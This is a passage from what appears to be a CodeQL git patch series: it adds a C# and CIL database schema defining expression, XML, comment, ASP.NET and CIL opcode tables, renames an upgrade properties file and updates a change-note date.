+@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_compiler_generated( + unique int id: @expr ref); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); + +/* Common Intermediate Language - CIL */ + +case @cil_instruction.opcode of + 0 = @cil_nop +| 1 = @cil_break +| 2 = @cil_ldarg_0 +| 3 = @cil_ldarg_1 +| 4 = @cil_ldarg_2 +| 5 = @cil_ldarg_3 +| 6 = @cil_ldloc_0 +| 7 = @cil_ldloc_1 +| 8 = @cil_ldloc_2 +| 9 = @cil_ldloc_3 +| 10 = @cil_stloc_0 +| 11 = @cil_stloc_1 +| 12 = @cil_stloc_2 +| 13 = @cil_stloc_3 +| 14 = @cil_ldarg_s +| 15 = @cil_ldarga_s +| 16 = @cil_starg_s +| 17 = @cil_ldloc_s +| 18 = @cil_ldloca_s +| 19 = @cil_stloc_s +| 20 = @cil_ldnull +| 21 = @cil_ldc_i4_m1 +| 22 = @cil_ldc_i4_0 +| 23 = @cil_ldc_i4_1 +| 24 = @cil_ldc_i4_2 +| 25 = @cil_ldc_i4_3 +| 26 = @cil_ldc_i4_4 +| 27 = @cil_ldc_i4_5 +| 28 = @cil_ldc_i4_6 +| 29 = @cil_ldc_i4_7 +| 30 = @cil_ldc_i4_8 +| 31 = @cil_ldc_i4_s +| 32 = @cil_ldc_i4 +| 33 = @cil_ldc_i8 +| 34 = @cil_ldc_r4 +| 35 = @cil_ldc_r8 +| 37 = @cil_dup +| 38 = @cil_pop +| 39 = @cil_jmp +| 40 = @cil_call +| 41 = @cil_calli +| 42 = @cil_ret +| 43 = @cil_br_s +| 44 = @cil_brfalse_s +| 45 = @cil_brtrue_s +| 46 = @cil_beq_s +| 47 = @cil_bge_s +| 48 = @cil_bgt_s +| 49 = @cil_ble_s +| 50 = @cil_blt_s +| 51 = @cil_bne_un_s +| 52 = @cil_bge_un_s +| 53 = @cil_bgt_un_s +| 54 = @cil_ble_un_s +| 55 = @cil_blt_un_s +| 56 = @cil_br +| 57 = @cil_brfalse +| 58 = @cil_brtrue +| 59 = @cil_beq +| 60 = @cil_bge +| 61 = @cil_bgt +| 62 = @cil_ble +| 63 = @cil_blt +| 64 = @cil_bne_un +| 65 = @cil_bge_un +| 66 = @cil_bgt_un +| 67 = @cil_ble_un +| 68 = @cil_blt_un +| 69 = @cil_switch +| 70 = @cil_ldind_i1 +| 71 = @cil_ldind_u1 +| 72 = @cil_ldind_i2 +| 73 = @cil_ldind_u2 +| 74 = @cil_ldind_i4 +| 75 = @cil_ldind_u4 +| 76 = @cil_ldind_i8 +| 77 = @cil_ldind_i +| 78 = @cil_ldind_r4 +| 79 = @cil_ldind_r8 +| 80 = @cil_ldind_ref +| 81 = @cil_stind_ref +| 82 = @cil_stind_i1 +| 83 = @cil_stind_i2 +| 84 = @cil_stind_i4 +| 85 = @cil_stind_i8 +| 86 = @cil_stind_r4 +| 87 = @cil_stind_r8 +| 88 = @cil_add +| 89 = @cil_sub +| 90 = @cil_mul +| 91 = @cil_div +| 92 = @cil_div_un +| 93 = @cil_rem +| 94 = @cil_rem_un +| 95 = @cil_and +| 96 = @cil_or +| 97 = @cil_xor +| 98 = @cil_shl +| 99 = @cil_shr +| 100 = @cil_shr_un +| 101 = @cil_neg +| 102 = @cil_not +| 103 = @cil_conv_i1 +| 104 = @cil_conv_i2 +| 105 = @cil_conv_i4 +| 106 = @cil_conv_i8 +| 107 = @cil_conv_r4 +| 108 = @cil_conv_r8 +| 109 = @cil_conv_u4 +| 110 = @cil_conv_u8 +| 111 = @cil_callvirt +| 112 = @cil_cpobj +| 113 = @cil_ldobj +| 114 = @cil_ldstr +| 115 = @cil_newobj +| 116 = @cil_castclass +| 117 = @cil_isinst +| 118 = @cil_conv_r_un +| 121 = @cil_unbox +| 122 = @cil_throw +| 123 = @cil_ldfld +| 124 = @cil_ldflda +| 125 = @cil_stfld +| 126 = @cil_ldsfld +| 127 = @cil_ldsflda +| 128 = @cil_stsfld +| 129 = @cil_stobj +| 130 = @cil_conv_ovf_i1_un +| 131 = @cil_conv_ovf_i2_un +| 132 = @cil_conv_ovf_i4_un +| 133 = @cil_conv_ovf_i8_un +| 134 = @cil_conv_ovf_u1_un +| 135 = @cil_conv_ovf_u2_un +| 136 = @cil_conv_ovf_u4_un +| 137 = @cil_conv_ovf_u8_un +| 138 = @cil_conv_ovf_i_un +| 139 = @cil_conv_ovf_u_un +| 140 = @cil_box +| 141 = @cil_newarr +| 142 = @cil_ldlen +| 143 = @cil_ldelema +| 144 = @cil_ldelem_i1 +| 145 = @cil_ldelem_u1 +| 146 = @cil_ldelem_i2 +| 147 = @cil_ldelem_u2 +| 148 = @cil_ldelem_i4 +| 149 = @cil_ldelem_u4 +| 150 = @cil_ldelem_i8 +| 151 = @cil_ldelem_i +| 152 = @cil_ldelem_r4 +| 153 = @cil_ldelem_r8 +| 154 = @cil_ldelem_ref +| 155 = @cil_stelem_i +| 156 = @cil_stelem_i1 +| 157 = @cil_stelem_i2 +| 158 = @cil_stelem_i4 +| 159 = @cil_stelem_i8 +| 160 = @cil_stelem_r4 +| 161 = @cil_stelem_r8 +| 162 = @cil_stelem_ref +| 163 = @cil_ldelem +| 164 = @cil_stelem +| 165 = @cil_unbox_any +| 179 = @cil_conv_ovf_i1 +| 180 = @cil_conv_ovf_u1 +| 181 = @cil_conv_ovf_i2 +| 182 = @cil_conv_ovf_u2 +| 183 = @cil_conv_ovf_i4 +| 184 = @cil_conv_ovf_u4 +| 185 = @cil_conv_ovf_i8 +| 186 = @cil_conv_ovf_u8 +| 194 = @cil_refanyval +| 195 = @cil_ckinfinite +| 198 = @cil_mkrefany +| 208 = @cil_ldtoken +| 209 = @cil_conv_u2 +| 210 = @cil_conv_u1 +| 211 = @cil_conv_i +| 212 = @cil_conv_ovf_i +| 213 = @cil_conv_ovf_u +| 214 = @cil_add_ovf +| 215 = @cil_add_ovf_un +| 216 = @cil_mul_ovf +| 217 = @cil_mul_ovf_un +| 218 = @cil_sub_ovf +| 219 = @cil_sub_ovf_un +| 220 = @cil_endfinally +| 221 = @cil_leave +| 222 = @cil_leave_s +| 223 = @cil_stind_i +| 224 = @cil_conv_u +| 65024 = @cil_arglist +| 65025 = @cil_ceq +| 65026 = @cil_cgt +| 65027 = @cil_cgt_un +| 65028 = @cil_clt +| 65029 = @cil_clt_un +| 65030 = @cil_ldftn +| 65031 = @cil_ldvirtftn +| 65033 = @cil_ldarg +| 65034 = @cil_ldarga +| 65035 = @cil_starg +| 65036 = @cil_ldloc +| 65037 = @cil_ldloca +| 65038 = @cil_stloc +| 65039 = @cil_localloc +| 65041 = @cil_endfilter +| 65042 = @cil_unaligned +| 65043 = @cil_volatile +| 65044 = @cil_tail +| 65045 = @cil_initobj +| 65046 = @cil_constrained +| 65047 = @cil_cpblk +| 65048 = @cil_initblk +| 65050 = @cil_rethrow +| 65052 = @cil_sizeof +| 65053 = @cil_refanytype +| 65054 = @cil_readonly +; + +// CIL ignored instructions + +@cil_ignore = @cil_nop | @cil_break | @cil_volatile | @cil_unaligned; + +// CIL local/parameter/field access + +@cil_ldarg_any = @cil_ldarg_0 | @cil_ldarg_1 | @cil_ldarg_2 | @cil_ldarg_3 | @cil_ldarg_s | @cil_ldarga_s | @cil_ldarg | @cil_ldarga; +@cil_starg_any = @cil_starg | @cil_starg_s; + +@cil_ldloc_any = @cil_ldloc_0 | @cil_ldloc_1 | @cil_ldloc_2 | @cil_ldloc_3 | @cil_ldloc_s | @cil_ldloca_s | @cil_ldloc | @cil_ldloca; +@cil_stloc_any = @cil_stloc_0 | @cil_stloc_1 | @cil_stloc_2 | @cil_stloc_3 | @cil_stloc_s | @cil_stloc; + +@cil_ldfld_any = @cil_ldfld | @cil_ldsfld | @cil_ldsflda | @cil_ldflda; +@cil_stfld_any = @cil_stfld | @cil_stsfld; + +@cil_local_access = @cil_stloc_any | @cil_ldloc_any; +@cil_arg_access = @cil_starg_any | @cil_ldarg_any; +@cil_read_access = @cil_ldloc_any | @cil_ldarg_any | @cil_ldfld_any; +@cil_write_access = @cil_stloc_any | @cil_starg_any | @cil_stfld_any; + +@cil_stack_access = @cil_local_access | @cil_arg_access; +@cil_field_access = @cil_ldfld_any | @cil_stfld_any; + +@cil_access = @cil_read_access | @cil_write_access; + +// CIL constant/literal instructions + +@cil_ldc_i = @cil_ldc_i4_any | @cil_ldc_i8; + +@cil_ldc_i4_any = @cil_ldc_i4_m1 | @cil_ldc_i4_0 | @cil_ldc_i4_1 | @cil_ldc_i4_2 | @cil_ldc_i4_3 | + @cil_ldc_i4_4 | @cil_ldc_i4_5 | @cil_ldc_i4_6 | @cil_ldc_i4_7 | @cil_ldc_i4_8 | @cil_ldc_i4_s | @cil_ldc_i4; + +@cil_ldc_r = @cil_ldc_r4 | @cil_ldc_r8; + +@cil_literal = @cil_ldnull | @cil_ldc_i | @cil_ldc_r | @cil_ldstr; + +// Control flow + +@cil_conditional_jump = @cil_binary_jump | @cil_unary_jump; +@cil_binary_jump = @cil_beq_s | @cil_bge_s | @cil_bgt_s | @cil_ble_s | @cil_blt_s | + @cil_bne_un_s | @cil_bge_un_s | @cil_bgt_un_s | @cil_ble_un_s | @cil_blt_un_s | + @cil_beq | @cil_bge | @cil_bgt | @cil_ble | @cil_blt | + @cil_bne_un | @cil_bge_un | @cil_bgt_un | @cil_ble_un | @cil_blt_un; +@cil_unary_jump = @cil_brfalse_s | @cil_brtrue_s | @cil_brfalse | @cil_brtrue | @cil_switch; +@cil_unconditional_jump = @cil_br | @cil_br_s | @cil_leave_any; +@cil_leave_any = @cil_leave | @cil_leave_s; +@cil_jump = @cil_unconditional_jump | @cil_conditional_jump; + +// CIL call instructions + +@cil_call_any = @cil_jmp | @cil_call | @cil_calli | @cil_tail | @cil_callvirt | @cil_newobj; + +// CIL expression instructions + +@cil_expr = @cil_literal | @cil_binary_expr | @cil_unary_expr | @cil_call_any | @cil_read_access | + @cil_newarr | @cil_ldtoken | @cil_sizeof | + @cil_ldftn | @cil_ldvirtftn | @cil_localloc | @cil_mkrefany | @cil_refanytype | @cil_arglist | @cil_dup; + +@cil_unary_expr = + @cil_conversion_operation | @cil_unary_arithmetic_operation | @cil_unary_bitwise_operation| + @cil_ldlen | @cil_isinst | @cil_box | @cil_ldobj | @cil_castclass | @cil_unbox_any | + @cil_ldind | @cil_unbox; + +@cil_conversion_operation = + @cil_conv_i1 | @cil_conv_i2 | @cil_conv_i4 | @cil_conv_i8 | + @cil_conv_u1 | @cil_conv_u2 | @cil_conv_u4 | @cil_conv_u8 | + @cil_conv_ovf_i | @cil_conv_ovf_i_un | @cil_conv_ovf_i1 | @cil_conv_ovf_i1_un | + @cil_conv_ovf_i2 | @cil_conv_ovf_i2_un | @cil_conv_ovf_i4 | @cil_conv_ovf_i4_un | + @cil_conv_ovf_i8 | @cil_conv_ovf_i8_un | @cil_conv_ovf_u | @cil_conv_ovf_u_un | + @cil_conv_ovf_u1 | @cil_conv_ovf_u1_un | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_ovf_u4 | @cil_conv_ovf_u4_un | @cil_conv_ovf_u8 | @cil_conv_ovf_u8_un | + @cil_conv_r4 | @cil_conv_r8 | @cil_conv_ovf_u2 | @cil_conv_ovf_u2_un | + @cil_conv_i | @cil_conv_u | @cil_conv_r_un; + +@cil_ldind = @cil_ldind_i | @cil_ldind_i1 | @cil_ldind_i2 | @cil_ldind_i4 | @cil_ldind_i8 | + @cil_ldind_r4 | @cil_ldind_r8 | @cil_ldind_ref | @cil_ldind_u1 | @cil_ldind_u2 | @cil_ldind_u4; + +@cil_stind = @cil_stind_i | @cil_stind_i1 | @cil_stind_i2 | @cil_stind_i4 | @cil_stind_i8 | + @cil_stind_r4 | @cil_stind_r8 | @cil_stind_ref; + +@cil_bitwise_operation = @cil_binary_bitwise_operation | @cil_unary_bitwise_operation; + +@cil_binary_bitwise_operation = @cil_and | @cil_or | @cil_xor | @cil_shr | @cil_shr | @cil_shr_un | @cil_shl; + +@cil_binary_arithmetic_operation = @cil_add | @cil_sub | @cil_mul | @cil_div | @cil_div_un | + @cil_rem | @cil_rem_un | @cil_add_ovf | @cil_add_ovf_un | @cil_mul_ovf | @cil_mul_ovf_un | + @cil_sub_ovf | @cil_sub_ovf_un; + +@cil_unary_bitwise_operation = @cil_not; + +@cil_binary_expr = @cil_binary_arithmetic_operation | @cil_binary_bitwise_operation | @cil_read_array | @cil_comparison_operation; + +@cil_unary_arithmetic_operation = @cil_neg; + +@cil_comparison_operation = @cil_cgt_un | @cil_ceq | @cil_cgt | @cil_clt | @cil_clt_un; + +// Elements that retrieve an address of something +@cil_read_ref = @cil_ldloca_s | @cil_ldarga_s | @cil_ldflda | @cil_ldsflda | @cil_ldelema; + +// CIL array instructions + +@cil_read_array = + @cil_ldelem | @cil_ldelema | @cil_ldelem_i1 | @cil_ldelem_ref | @cil_ldelem_i | + @cil_ldelem_i1 | @cil_ldelem_i2 | @cil_ldelem_i4 | @cil_ldelem_i8 | @cil_ldelem_r4 | + @cil_ldelem_r8 | @cil_ldelem_u1 | @cil_ldelem_u2 | @cil_ldelem_u4; + +@cil_write_array = @cil_stelem | @cil_stelem_ref | + @cil_stelem_i | @cil_stelem_i1 | @cil_stelem_i2 | @cil_stelem_i4 | @cil_stelem_i8 | + @cil_stelem_r4 | @cil_stelem_r8; + +@cil_throw_any = @cil_throw | @cil_rethrow; + +#keyset[impl, index] +cil_instruction( + unique int id: @cil_instruction, + int opcode: int ref, + int index: int ref, + int impl: @cil_method_implementation ref); + +cil_jump( + unique int instruction: @cil_jump ref, + int target: @cil_instruction ref); + +cil_access( + unique int instruction: @cil_instruction ref, + int target: @cil_accessible ref); + +cil_value( + unique int instruction: @cil_literal ref, + string value: string ref); + +#keyset[instruction, index] +cil_switch( + int instruction: @cil_switch ref, + int index: int ref, + int target: @cil_instruction ref); + +cil_instruction_location( + unique int id: @cil_instruction ref, + int loc: @location ref); + +cil_type_location( + int id: @cil_type ref, + int loc: @location ref); + +cil_method_location( + int id: @cil_method ref, + int loc: @location ref); + +@cil_namespace = @namespace; + +@cil_type_container = @cil_type | @cil_namespace | @cil_method; + +case @cil_type.kind of + 0 = @cil_valueorreftype +| 1 = @cil_typeparameter +| 2 = @cil_array_type +| 3 = @cil_pointer_type +; + +cil_type( + unique int id: @cil_type, + string name: string ref, + int kind: int ref, + int parent: @cil_type_container ref, + int sourceDecl: @cil_type ref); + +cil_pointer_type( + unique int id: @cil_pointer_type ref, + int pointee: @cil_type ref); + +cil_array_type( + unique int id: @cil_array_type ref, + int element_type: @cil_type ref, + int rank: int ref); + +cil_method( + unique int id: @cil_method, + string name: string ref, + int parent: @cil_type ref, + int return_type: @cil_type ref); + +cil_method_source_declaration( + unique int method: @cil_method ref, + int source: @cil_method ref); + +cil_method_implementation( + unique int id: @cil_method_implementation, + int method: @cil_method ref, + int location: @assembly ref); + +cil_implements( + int id: @cil_method ref, + int decl: @cil_method ref); + +#keyset[parent, name] +cil_field( + unique int id: @cil_field, + int parent: @cil_type ref, + string name: string ref, + int field_type: @cil_type ref); + +@cil_element = @cil_instruction | @cil_declaration | @cil_handler | @cil_attribute | @cil_namespace; +@cil_named_element = @cil_declaration | @cil_namespace; +@cil_declaration = @cil_variable | @cil_method | @cil_type | @cil_member; +@cil_accessible = @cil_declaration; +@cil_variable = @cil_field | @cil_stack_variable; +@cil_stack_variable = @cil_local_variable | @cil_parameter; +@cil_member = @cil_method | @cil_type | @cil_field | @cil_property | @cil_event; +@cil_custom_modifier_receiver = @cil_method | @cil_property | @cil_parameter | @cil_field; // todo: add function pointer type + +#keyset[method, index] +cil_parameter( + unique int id: @cil_parameter, + int method: @cil_method ref, + int index: int ref, + int param_type: @cil_type ref); + +cil_parameter_in(unique int id: @cil_parameter ref); +cil_parameter_out(unique int id: @cil_parameter ref); + +cil_setter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +#keyset[id, modifier] +cil_custom_modifiers( + int id: @cil_custom_modifier_receiver ref, + int modifier: @cil_type ref, + int kind: int ref); // modreq: 1, modopt: 0 + +cil_getter(unique int prop: @cil_property ref, + int method: @cil_method ref); + +cil_adder(unique int event: @cil_event ref, + int method: @cil_method ref); + +cil_remover(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_raiser(unique int event: @cil_event ref, int method: @cil_method ref); + +cil_property( + unique int id: @cil_property, + int parent: @cil_type ref, + string name: string ref, + int property_type: @cil_type ref); + +#keyset[parent, name] +cil_event(unique int id: @cil_event, + int parent: @cil_type ref, + string name: string ref, + int event_type: @cil_type ref); + +#keyset[impl, index] +cil_local_variable( + unique int id: @cil_local_variable, + int impl: @cil_method_implementation ref, + int index: int ref, + int var_type: @cil_type ref); + +// CIL handlers (exception handlers etc). + +case @cil_handler.kind of + 0 = @cil_catch_handler +| 1 = @cil_filter_handler +| 2 = @cil_finally_handler +| 4 = @cil_fault_handler +; + +#keyset[impl, index] +cil_handler( + unique int id: @cil_handler, + int impl: @cil_method_implementation ref, + int index: int ref, + int kind: int ref, + int try_start: @cil_instruction ref, + int try_end: @cil_instruction ref, + int handler_start: @cil_instruction ref); + +cil_handler_filter( + unique int id: @cil_handler ref, + int filter_start: @cil_instruction ref); + +cil_handler_type( + unique int id: @cil_handler ref, + int catch_type: @cil_type ref); + +@cil_controlflow_node = @cil_entry_point | @cil_instruction; + +@cil_entry_point = @cil_method_implementation | @cil_handler; + +@cil_dataflow_node = @cil_instruction | @cil_variable | @cil_method; + +cil_method_stack_size( + unique int method: @cil_method_implementation ref, + int size: int ref); + +// CIL modifiers + +cil_public(int id: @cil_member ref); +cil_private(int id: @cil_member ref); +cil_protected(int id: @cil_member ref); +cil_internal(int id: @cil_member ref); +cil_static(int id: @cil_member ref); +cil_sealed(int id: @cil_member ref); +cil_virtual(int id: @cil_method ref); +cil_abstract(int id: @cil_member ref); +cil_class(int id: @cil_type ref); +cil_interface(int id: @cil_type ref); +cil_security(int id: @cil_member ref); +cil_requiresecobject(int id: @cil_method ref); +cil_specialname(int id: @cil_method ref); +cil_newslot(int id: @cil_method ref); + +cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); +cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); + +#keyset[unbound, index] +cil_type_parameter( + int unbound: @cil_member ref, + int index: int ref, + int param: @cil_typeparameter ref); + +#keyset[bound, index] +cil_type_argument( + int bound: @cil_member ref, + int index: int ref, + int t: @cil_type ref); + +// CIL type parameter constraints + +cil_typeparam_covariant(int tp: @cil_typeparameter ref); +cil_typeparam_contravariant(int tp: @cil_typeparameter ref); +cil_typeparam_class(int tp: @cil_typeparameter ref); +cil_typeparam_struct(int tp: @cil_typeparameter ref); +cil_typeparam_new(int tp: @cil_typeparameter ref); +cil_typeparam_constraint(int tp: @cil_typeparameter ref, int supertype: @cil_type ref); + +// CIL attributes + +cil_attribute( + unique int attributeid: @cil_attribute, + int element: @cil_declaration ref, + int constructor: @cil_method ref); + +#keyset[attribute_id, param] +cil_attribute_named_argument( + int attribute_id: @cil_attribute ref, + string param: string ref, + string value: string ref); + +#keyset[attribute_id, index] +cil_attribute_positional_argument( + int attribute_id: @cil_attribute ref, + int index: int ref, + string value: string ref); + + +// Common .Net data model covering both C# and CIL + +// Common elements +@dotnet_element = @element | @cil_element; +@dotnet_named_element = @named_element | @cil_named_element; +@dotnet_callable = @callable | @cil_method; +@dotnet_variable = @variable | @cil_variable; +@dotnet_field = @field | @cil_field; +@dotnet_parameter = @parameter | @cil_parameter; +@dotnet_declaration = @declaration | @cil_declaration; +@dotnet_member = @member | @cil_member; +@dotnet_event = @event | @cil_event; +@dotnet_property = @property | @cil_property | @indexer; + +// Common types +@dotnet_type = @type | @cil_type; +@dotnet_call = @call | @cil_call_any; +@dotnet_throw = @throw_element | @cil_throw_any; +@dotnet_valueorreftype = @cil_valueorreftype | @value_or_ref_type | @cil_array_type | @void_type; +@dotnet_typeparameter = @type_parameter | @cil_typeparameter; +@dotnet_array_type = @array_type | @cil_array_type; +@dotnet_pointer_type = @pointer_type | @cil_pointer_type; +@dotnet_type_parameter = @type_parameter | @cil_typeparameter; +@dotnet_generic = @dotnet_valueorreftype | @dotnet_callable; + +// Attributes +@dotnet_attribute = @attribute | @cil_attribute; + +// Expressions +@dotnet_expr = @expr | @cil_expr; + +// Literals +@dotnet_literal = @literal_expr | @cil_literal; +@dotnet_string_literal = @string_literal_expr | @cil_ldstr; +@dotnet_int_literal = @integer_literal_expr | @cil_ldc_i; +@dotnet_float_literal = @float_literal_expr | @cil_ldc_r; +@dotnet_null_literal = @null_literal_expr | @cil_ldnull; + +@metadata_entity = @cil_method | @cil_type | @cil_field | @cil_property | @field | @property | + @callable | @value_or_ref_type | @void_type; + +#keyset[entity, location] +metadata_handle(int entity : @metadata_entity ref, int location: @assembly ref, int handle: int ref) diff --git a/csharp/upgrades/TO_CHANGE/upgrade.properties b/csharp/upgrades/e6442d16b7e3786d0918597c2c9fbd871ca06f77/upgrade.properties similarity index 100% rename from csharp/upgrades/TO_CHANGE/upgrade.properties rename to csharp/upgrades/e6442d16b7e3786d0918597c2c9fbd871ca06f77/upgrade.properties From 4b32fd055687c3517ef4375395b58928e6f3ecaa Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Thu, 14 Jan 2021 14:29:13 +0100 Subject: [PATCH 0591/1241] Update change note date --- .../{2020-11-19-Unary-pattern.md => 2021-01-14-Unary-pattern.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename csharp/change-notes/{2020-11-19-Unary-pattern.md => 2021-01-14-Unary-pattern.md} (100%) diff --git a/csharp/change-notes/2020-11-19-Unary-pattern.md b/csharp/change-notes/2021-01-14-Unary-pattern.md similarity index 100% rename from csharp/change-notes/2020-11-19-Unary-pattern.md rename to csharp/change-notes/2021-01-14-Unary-pattern.md From 1c4610c722952ad005beab3ae292f5717be5b724 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 14 Jan 2021 17:15:36 +0300 Subject: [PATCH 0592/1241] Update cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql Co-authored-by: Mathias Vorreiter Pedersen <mathiasvp@github.com> --- 